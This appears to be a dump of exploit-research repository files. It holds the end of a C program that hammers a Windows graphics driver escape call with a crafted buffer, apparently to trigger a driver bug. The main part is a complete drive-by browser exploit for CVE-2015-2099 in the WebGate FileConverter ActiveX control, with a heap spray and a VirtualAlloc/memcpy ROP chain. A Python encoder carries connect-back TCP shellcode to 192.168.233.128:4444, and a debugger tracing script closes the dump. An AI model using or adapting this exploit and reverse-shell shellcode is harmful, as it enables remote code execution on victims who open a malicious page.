268 | 		printf("Failed to create device (%x)", status);
269 | 		return status;
270 | 	}
271 | 
272 | 	// Create context
273 | 	pDriverInfo->context.NodeOrdinal = 0;
274 | 	pDriverInfo->context.hDevice = pDriverInfo->device.hDevice;
275 | 	status = D3DKMTCreateContext(&pDriverInfo->context);
276 | 
277 | 	if (!NT_SUCCESS(status)) {
278 | 		printf("Failed to create context (%x)", status);
279 | 		return status;
280 | 	}
281 | 
282 | 	return S_OK;
283 | }
284 | 
285 | 
286 | int main()
287 | {
288 | 	DRIVER_INFO driverInfo = { 0 };
289 | 	D3DKMT_ESCAPE escapeObj = { 0 };
290 | 	int status;
291 | 
292 | 	resolve_functions();
293 | 	initDriver(&driverInfo);
294 | 
295 | 	if (!NT_SUCCESS(initDriver(&driverInfo))) {
296 | 		printf("Could not initialize connection to driver");
297 | 		return -1;
298 | 	}
299 | 	printf("Initialized driver\n");
300 | 
301 | 	escapeObj.Type = D3DKMT_ESCAPE_DRIVERPRIVATE;
302 | 	escapeObj.hAdapter = driverInfo.hAdapter;
303 | 	escapeObj.hDevice = (D3DKMT_HANDLE)NULL;
304 | 
305 | 	unsigned short escape_size = 0x12C;
306 | 
307 | 	PVOID memory = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, escape_size);
308 | 	/*
309 | 	95244b0c  00000001 00000124 00020000 00000018
310 | 	95244b1c  00000100 00000000 00000000 00000000
311 | 	*/
312 | 	*(void **)((char *)memory + sizeof(void *) * 0) = (void *)0x01;
313 | 	*(void **)((char *)memory + sizeof(void *) * 1) = (void *)(escape_size - 0x08);
314 | 	*(void **)((char *)memory + sizeof(void *) * 2) = (void *)0x20000;
315 | 	*(void **)((char *)memory + sizeof(void *) * 3) = (void *)0x18;
316 | 	*(void **)((char *)memory + sizeof(void *) * 4) = (void *)0x100;
317 | 
318 | 	HANDLE hEvent = CreateEvent(NULL, TRUE, FALSE, TEXT("DevilEvent"));
319 | 	*(void **)((char *)memory + sizeof(void *) * 7) = (void *)hEvent;
320 | 	*(void **)((char *)memory + sizeof(void *) * 8) = (void *)0x42424242;
321 | 
322 | 
323 | 	escapeObj.pPrivateDriverData = memory;
324 | 	escapeObj.PrivateDriverDataSize = escape_size;
325 | 	for(int i=0; i<2147483647; i++)
326 | 	status = D3DKMTEscape(&escapeObj);
327 | 
328 | 	if (!NT_SUCCESS(status)) {
329 | 		printf("D3DKMTEscape failed (%x)", status);
330 | 	}
331 | 
332 | 
333 | 	CloseHandle(hEvent);
334 | 	HeapFree(GetProcessHeap(), 0, memory);
335 | 	
336 | 	printf("done\n");
337 | 
338 | 
339 | 	return 0; 
340 | }
341 | 
342 | 


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/WebGate_Control_Center_FileConverter_Heap_Overflow_RCE/README.md:
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 1 | # WebGate Control Center FileConverter.FileConverterCtrl.1 GetRecFileInfo Stack and Heap Buffer Overflow Remote Code Execution Vulnerabilities
 2 | 
 3 | * CVE-2015-2099
 4 | * Reported by rgod
 5 | 
 6 | This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of WebGate Control Center. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.
 7 | 
 8 | The specific flaw exists within the FileConverter.FileConverterCtrl.1 control. The GetRecFileInfo method copies arbitrary data into fixed-size buffers on both the heap and stack. This would allow an attacker to execute arbitrary code in the context of the browser.
 9 | 
10 | * More info at: http://www.zerodayinitiative.com/advisories/ZDI-15-055/


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/WebGate_Control_Center_FileConverter_Heap_Overflow_RCE/WebGate_Control_Center_FileConverter_GetRecFileInfo_Stack_and_Heap_Overflow_Remote_Code_Execution_Exploit.html:
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  1 | <html>
  2 | 
  3 | <head>
  4 | <meta http-equiv="X-UA-Compatible" content="IE=8" />
  5 | </head>
  6 | 
  7 | <body>
  8 | 
  9 | <script language="JScript.Encode">
 10 | 
 11 | function hs(code) {
 12 | 
 13 |     function padnum(n, numdigits)
 14 |     {
 15 |        n = n.toString();
 16 |        var pnum = '';
 17 |        if (numdigits > n.length)
 18 |        {
 19 |          for (z = 0; z < (numdigits - n.length); z++)
 20 |           pnum += '0';
 21 |        }
 22 |        return pnum + n.toString();
 23 |     }   
 24 |     
 25 |     chunk_size = 0x40000;
 26 |     //header + str_len [header][str_len] [unicode_str] [\x00\x00]
 27 |     headersize = 0x20 + 0x4; 
 28 |         
 29 |         
 30 |     // 0x100040f3 : POP EDI # POP ESI # POP EBP #  RETN
 31 |     // 0x10015191 : MOV ESP,EBX # POP EBX # RETN        
 32 |     nopsled = addr(0x100040f3) + addr(0x10015191) + addr(0x0c0c0c0c) + addr(0x100040f3);
 33 |     nopsled_len = chunk_size - (headersize + code.length);  
 34 |     while (nopsled.length < nopsled_len)
 35 |         nopsled += nopsled;
 36 |         
 37 |     //spray
 38 |     var store = new Array(500);
 39 |     store[0] = nopsled.substring(0, nopsled_len) + code;
 40 |     var codewithnum = null;
 41 |     for (i = 0 ; i < 500 ; i++)
 42 |     {
 43 |         codewithnum = padnum(i,4) + store[0];
 44 |         store[i] = codewithnum.substring(0, codewithnum.length);
 45 |     }
 46 |     
 47 |     //alert("spray done");
 48 | }
 49 | 
 50 | function hex(num, width)
 51 | {
 52 |     var digits = "0123456789ABCDEF";
 53 | 
 54 |     var hex = digits.substr(num & 0xF, 1);
 55 | 
 56 |     while (num > 0xF) {
 57 |         num = num >>> 4;
 58 |         hex = digits.substr(num & 0xF, 1) + hex;
 59 |     }
 60 | 
 61 |     var width = (width ? width : 0);
 62 | 
 63 |     while (hex.length < width)
 64 |         hex = "0" + hex;
 65 | 
 66 |     return hex;
 67 | }
 68 | 
 69 | function addr(address){
 70 |   return unescape("%u" + hex(address & 0xFFFF, 4) + "%u" + hex((address >> 16) & 0xFFFF, 4));
 71 | }
 72 | 
 73 | function transformToByte() {  
 74 |   /*
 75 |     Receives a variable number of int arguments and returns
 76 |     the hex string representation as an array
 77 |   */
 78 |   var i=0,
 79 |       res = [];
 80 |   for (i = 0; i< arguments.length; i++) {
 81 |        res.push(String.fromCharCode(arguments[i]));
 82 |   }
 83 |   return res.join("");  
 84 | }
 85 | 
 86 | function shellcode() {
 87 |     var rop = null,
 88 |         shellcode = null,
 89 |         rop_nop = null;
 90 |     /* ROP on WISEDec.dll (No ASLR)
 91 |     EBX = 0x0c0c0c0c
 92 |     ECX = 0x0c0c0c0c
 93 |     EAX = [ECX+2Ch]
 94 |     */
 95 |     // VirtualAlloc + Memcpy
 96 |     rop_nop = addr(0x10015194);
 97 |     rop_nop += addr(0x10015194);
 98 |     rop_nop += addr(0x10015194);
 99 |     rop_nop += addr(0x10015194);
100 |     rop_nop += addr(0x10015194);
101 |     rop_nop += addr(0x10015194);
102 |     rop_nop += addr(0x10015194);
103 |     rop_nop += addr(0x10015194);
104 |     rop_nop += addr(0x10015194);
105 |     rop_nop += addr(0x10015194);    
106 | 	
107 | 	rop = addr(0x100337ff); // XOR EDX,EDX # MOV EAX,ESI # POP ESI # POP EBX # RETN 10
108 | 	rop += addr(0xFFFFFFFF); // filler ESI
109 | 	rop += addr(0xFFFFFFFF); // filler ESI
110 | 	rop += addr(0x100330e3); // PUSH ESP # SUB EAX,0x20 # POP EBX # RETN 
111 | 	rop += addr(0xcafebabe); // padding (retn 10)
112 | 	rop += addr(0xcafebabe); // padding (retn 10)
113 | 	rop += addr(0xcafebabe); // padding (retn 10)
114 | 	rop += addr(0xcafebabe); // padding (retn 10)
115 | 	rop += addr(0x100338be); // ADD EDX,EBX # POP EBX # RETN 10
116 |     rop += addr(0x000000AC); // Value to be added again to EDX to make it point to __AGENT_LOCATION__ (see below) 
117 | 	rop += addr(0x100338be); // ADD EDX,EBX # POP EBX # RETN 10
118 | 	rop += addr(0xcafebabe); // padding (retn 10)
119 | 	rop += addr(0xcafebabe); // padding (retn 10)
120 | 	rop += addr(0xcafebabe); // padding (retn 10)
121 | 	rop += addr(0xcafebabe); // padding (retn 10)
122 | 	rop += addr(0xffffffff); // filler ebx
123 | 	rop += addr(0x100330e3); // PUSH ESP # SUB EAX,0x20 # POP EBX # RETN 
124 | 	rop += addr(0xcafebabe); // padding (retn 10)
125 | 	rop += addr(0xcafebabe); // padding (retn 10)
126 | 	rop += addr(0xcafebabe); // padding (retn 10)
127 | 	rop += addr(0xcafebabe); // padding (retn 10)
128 | 	rop += addr(0x1002e968); // MOV EAX,EBX # POP ESI # POP EBX # POP EBP # RETN
129 | 	rop += addr(0xffffffff); // filler esi
130 | 	rop += addr(0xffffffff); // filler ebx
131 | 	//rop += addr(0x00000004); // EBX value to add later to EDX
132 | 	rop += addr(0xffffffff); // filler ebp
133 | 	rop += addr(0x1002e249); // # POP ECX # RETN 
134 | 	rop += addr(0xffffff58); // Value to be subtracted from EAX to get it point to NOP-SLED
135 | 	rop += addr(0x1003199a); // SUB EAX,ECX # RETN
136 | 	rop += addr(0x10002e23); // XCGH ECX,EAX # RETN 04
137 | 	rop += addr(0x100327e4); // MOV DWORD PTR DS:[EDX],ECX # RETN
138 | 	rop += addr(0xcafebabe); // padding (retn 04)
139 | 	//rop += addr(0x100338be); // ADD EDX,EBX # POP EBX # RETN 10
140 | 	//rop += addr(0xffffffff); // fillber ebx
141 | 	//rop += addr(0x100327e4); // MOV DWORD PTR DS:[EDX],ECX # RETN
142 | 	//rop += addr(0xcafebabe); // padding (retn 10)
143 | 	//rop += addr(0xcafebabe); // padding (retn 10)
144 | 	//rop += addr(0xcafebabe); // padding (retn 10)
145 | 	//rop += addr(0xcafebabe); // padding (retn 10)
146 | 	
147 | 	
148 |     // Virtual Alloc Call Sequence
149 | 	rop += addr(0x100337ff); // XOR EDX,EDX # MOV EAX,ESI # POP ESI # POP EBX # RETN 10
150 | 	rop += addr(0xFFFFFFFF); // filler ESI
151 | 	rop += addr(0xFFFFFFFF); // filler ESI
152 | 	rop += addr(0x1003273d); // # POP EAX # RETN
153 | 	rop += addr(0xcafebabe); // padding (retn 10)
154 | 	rop += addr(0xcafebabe); // padding (retn 10)
155 | 	rop += addr(0xcafebabe); // padding (retn 10)
156 | 	rop += addr(0xcafebabe); // padding (retn 10)    
157 |     rop += addr(0x10034030); // # IAT &ptr VirtualAlloc
158 |     rop += addr(0x1002fc57); // # ADD EDX,DWORD PTR DS:[EAX] # POP ESI # POP EBP # RETN
159 |     rop += addr(0x0c0c0c0c); // FILLER ESI
160 |     rop += addr(0x0c0c0c0c); // FILLER EBP
161 |     rop += addr(0x100327c3); // # MOV EAX,EDX # RETN
162 |     rop += addr(0x1002e42d); // # PUSH EAX # RETN
163 |     rop += addr(0x1002f6c7); // PUSH EAX # AND AL,0A # ADC BH,BH # ADC EAX,OFFSET_10034078 # POP ESI # RETN
164 |     rop += addr(0x00000000); // LPADDRESS
165 |     rop += addr(0x00004000); // DWSIZE
166 |     rop += addr(0x00003000); // ALLOCTYPE : MEM_COMMIT | MEM_RESERVE
167 |     rop += addr(0x00000040); // FLPROTECT : PAGE_EXECUTE_READWRITE
168 | 	
169 | 	rop += addr(0x100320f6); // POP EDI # RETN
170 | 	rop += addr(0xBABAB0B0); // Estimated location of Egg __AGENT_LOCATION__
171 | 	rop += addr(0x1003273d); // # POP EAX # RETN
172 | 	rop += addr(0x00002000); // Size of payload
173 | 	rop += addr(0x10031386); // CALL TO MEMCPY_0 Super Gadget 
174 | 	rop += addr(0xcafebabe); // PADDING
175 | 	rop += addr(0xcafebabe); // PADDING
176 | 	rop += addr(0xcafebabe); // PADDING
177 | 	rop += addr(0xcafebabe); // PADDING
178 | 	rop += addr(0xcafebabe); // PADDING
179 | 	rop += addr(0x10033258); // # INC EAX # RETN
180 | 	rop += addr(0x1002e53a); // CALL EAX
181 | 	rop += addr(0x90909090); // NOP
182 |     rop += addr(0x90909090); // NOP
183 |     rop += addr(0x90909090); // NOP
184 |     rop += addr(0x90909090); // NOP
185 |     rop += addr(0x90909090); // NOP
186 |     rop += addr(0x90909090); // NOP
187 |     rop += addr(0x90909090); // NOP
188 |     rop += addr(0x90909090); // NOP
189 |    
190 | 	
191 |     
192 |     shellcode = rop_nop + rop + unescape("%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc"); // unescape("__AGENT__");
193 |     
194 |     return shellcode;   
195 | }
196 | 
197 | function expl() {
198 |     var target = new ActiveXObject("FileConverter.FileConverterCtrl.1");
199 |     
200 |     var arg1 = "A";
201 |     while (arg1.length < 0x100) {
202 |         arg1 += "A";
203 |     }
204 |     arg1 += transformToByte(0x0c,0x0c,0x0c,0x0c); //obj+0x42d550 (+256)
205 |     arg1 += transformToByte(0xca,0xfe,0xba,0xbe); //obj+0x42d554 (+260)
206 |     arg1 += transformToByte(0x04); //obj+0x42d558 == 4  (+264)
207 | 
208 |     var arg2 = "travesti";
209 |     
210 |     var code = shellcode();
211 |     hs(code);
212 |     target.GetRecFileInfo( arg1, arg2 );
213 |     //alert("after overflow");
214 | }
215 | 
216 | expl();
217 | 
218 | </script>
219 | </body>
220 | 
221 | <!-- MEMCPY_0 SuperGadget
222 | WISEDec!decompress601_ex+0x2c836:
223 | 10031386 50              push    eax
224 | 10031387 57              push    edi
225 | 10031388 56              push    esi
226 | 10031389 e872020000      call    WISEDec!decompress601_ex+0x2cab0 (10031600) MEMCPY
227 | 1003138e 83c410          add     esp,10h
228 | 10031391 5f              pop     edi
229 | 10031392 5e              pop     esi
230 | 10031393 5b              pop     ebx
231 | 10031394 5d              pop     ebp
232 | 10031395 c3              ret
233 | -->
234 | 
235 | <!--
236 | [x] Valid gadget at: 100330e3
237 |  matches: ebx=esp
238 | 
239 | 0x100337ff :  # XOR EDX,EDX # MOV EAX,ESI # POP ESI # POP EBX # RETN 10
240 | 
241 | 100330e3 : PUSH ESP # SUB EAX,0x20 # POP EBX # RETN 
242 | 
243 | 1002e968 : MOV EAX,EBX # POP ESI # POP EBX # POP EBP # RETN
244 | 
245 | 10002e23 : XCGH ECX,EAX # RETN 04
246 | 
247 | esi=esp
248 | 100337f1 : push esp # and al,0x10 # ja 0x100337fe # jb 0x100337ff # cmp eax,[esp+0xc] # jbe 0x100337ff #  dec esi # xor edx,edx # mov eax,esi # pop esi # pop ebx # ret 0x10
249 | 
250 | 
251 | 0x100320c1 :  # ADD BL,AL # MOV EAX,804 # RETN    ** [WISEDEC.dll] 
252 | 
253 | 0x100338be : # ADD EDX,EBX # POP EBX # RETN
254 | 0x100327c3 :  # MOV EAX,EDX # RETN    ** [WISEDEC.dll]
255 | 0x100327e4 : # MOV DWORD PTR DS:[EDX],ECX # RETN
256 | -->
257 | 
258 | </html>


--------------------------------------------------------------------------------
/WebGate_Control_Center_FileConverter_Heap_Overflow_RCE/unescapeShellcodeEncoder.py:
--------------------------------------------------------------------------------
 1 | def Shellcode():
 2 |     import socket, struct
 3 |     NOPS = "\x90" * 100
 4 |     packedIP = socket.inet_aton("192.168.233.128")
 5 |     packedPort = struct.pack(">H", 4444)
 6 |     # Connect back TCP Shellcode x86
 7 |     # by n3k :)
 8 |     # CreateProcess + ExitProcess
 9 |     #  - Tested on Win7, Win2008 R2
10 |     buff = ""
11 |     buff += "\xEB\x78\x56\x33\xC0\x64\x8B\x40\x30\x3E\x8B\x40\x0C\x3E\x8B\x70\x0C"
12 |     buff += "\xAD\x33\xDB\x3E\x8B\x04\x18\x3E\x8B\x40\x18\x5E\xC3\x60\x36\x8B\x6C"
13 |     buff += "\x24\x24\x36\x8B\x7D\x3C\x36\x8B\x7C\x3D\x78\x03\xFD\x3E\x8B\x4F\x18"
14 |     buff += "\x3E\x8B\x5F\x20\x03\xDD\x85\xC9\x74\x3B\x49\x3E\x8B\x34\x8B\x03\xF5"
15 |     buff += "\x33\xD2\x33\xC0\xFC\xAC\x84\xC0\x74\x07\xC1\xCA\x0D\x03\xD0\xEB\xF4"
16 |     buff += "\x36\x3B\x54\x24\x28\x75\xDD\x3E\x8B\x57\x24\x03\xD5\x66\x3E\x8B\x0C"
17 |     buff += "\x4A\x3E\x8B\x57\x1C\x03\xD5\x3E\x8B\x04\x8A\x03\xC5\x36\x89\x44\x24"
18 |     buff += "\x1C\x61\xC3\xEB\x02\xEB\x1D\xE8\xF9\xFF\xFF\xFF\x8E\x4E\x0E\xEC\x7E"
19 |     buff += "\xD8\xE2\x73\x72\xFE\xB3\x16\xD9\x09\xF5\xAD\xEC\xF9\xAA\x60\xCB\xED"
20 |     buff += "\xFC\x3B\x5E\x33\xC0\xB0\x30\x2B\xE0\x8B\xEC\xE8\x59\xFF\xFF\xFF\x8B"
21 |     buff += "\xD8\x33\xC9\xB1\x03\x8B\xD5\x85\xC9\x74\x1E\xAD\x50\x53\xE8\x61\xFF"
22 |     buff += "\xFF\xFF\x51\xC1\xE1\x02\x3E\x8D\x1C\x0A\x3E\x89\x03\x59\x5B\x33\xC0"
23 |     buff += "\xB0\x04\x03\xE0\x49\xEB\xDE\x33\xC0\x66\xB8\x6C\x6C\x50\x68\x33\x32"
24 |     buff += "\x2E\x64\x68\x77\x73\x32\x5F\x54\x36\xFF\x55\x0C\x8B\xD8\x36\x8D\x55"
25 |     buff += "\x0C\x33\xC9\xB1\x03\x85\xC9\x74\x1E\xAD\x50\x53\xE8\x1F\xFF\xFF\xFF"
26 |     buff += "\x51\xC1\xE1\x02\x3E\x8D\x1C\x0A\x3E\x89\x03\x59\x5B\x33\xC0\xB0\x04"
27 |     buff += "\x03\xE0\x49\xEB\xDE\xB8\x01\x63\x6D\x64\xC1\xF8\x08\x50\x36\x89\x65"
28 |     buff += "\x2C\x33\xC0\xB4\x02\x2B\xE0\x54\xC1\xE8\x08\x50\x36\xFF\x55\x10\x33"
29 |     buff += "\xC0\x50\x50\x50\x50\x40\x50\x40\x50\x36\xFF\x55\x18\x8B\xF0\x68"
30 |     buff += packedIP
31 |     buff += "\xBB\x02\x01"
32 |     buff += packedPort
33 |     buff += "\xFE\xCF\x53\x8B\xDC\x33\xC0\xB0\x10\x50\x53\x56"
34 |     buff += "\x36\xFF\x55\x14\x33\xC9\xB1\x54\x2B\xE1\x8B\xFC\x57\x33\xC0\xF3\xAA"
35 |     buff += "\x5F\x3E\xC6\x07\x44\x3E\xC6\x47\x2D\x01\x57\x8B\xC6\x3E\x8D\x7F\x38"
36 |     buff += "\xAB\xAB\xAB\x5F\x33\xC0\x3E\x8D\x77\x44\x56\x57\x50\x50\xB0\x80\xC1"
37 |     buff += "\xE0\x14\x50\x33\xC0\xB0\x01\x50\x48\x50\x50\x36\xFF\x75\x2C\x50\x36"
38 |     buff += "\xFF\x55\x04\x36\xFF\x55\x08"
39 |         
40 |     shellcode = NOPS + buff
41 |     print "Shellcode length: ", len(shellcode)
42 |     
43 |     return shellcode
44 | 
45 | def encodeUnescape(shellcode):
46 |     format_string = []
47 |     for i in xrange(0,len(shellcode),2):
48 |         format_string.append("%u{:02x}{:02x}".format(ord(shellcode[i+1]),ord(shellcode[i])))
49 |     print "unescape(\"%s\");" % "".join([_ for _ in format_string])
50 | 
51 | 
52 | def pastableForm(shellcode):
53 |     format_string = []
54 |     for i in shellcode:
55 |         format_string.append("\\x{:02x}".format(ord(i)))
56 |     print "%s" % "".join([_ for _ in format_string])
57 | 
58 | def FourByteAlignment(shellcode):
59 |     while len(shellcode)%4 != 0:
60 |         shellcode = "\x90" + shellcode
61 |     return shellcode
62 | 
63 | encodeUnescape(FourByteAlignment(Shellcode()))


--------------------------------------------------------------------------------
/simple_trace.py:
--------------------------------------------------------------------------------
 1 | # Paste this on PyKD console after setting hitting a Breakpoint on a Known Function :)
 2 | 
 3 | with open(r"c:\temp.txt", "wt") as f:
 4 |     num_call = 200
 5 |     space = 2
 6 |     while num_call > 0:
 7 |         disasm_line = pykd.disasm().disasm()
 8 |         instruction = disasm_line.split()[2]
 9 |         if instruction == "call":
10 |             r = dbgCommand("r")
11 |             print r.split("\n")[3]
12 |             num_call = num_call - 1
13 |             space += 2
14 |             try:
15 |                 f.write("%s%s -- %s\n" % (space * " ", disasm_line,r.split("\n")[3]))
16 |             except UnicodeEncodeError:
17 |                 f.write("%s%s\n" % (space * " ", r.split("\n")[3]))
18 |             trace()
19 |         else:
20 |             if instruction == "ret":
21 |                 space -= 2
22 |             trace()
23 | 


--------------------------------------------------------------------------------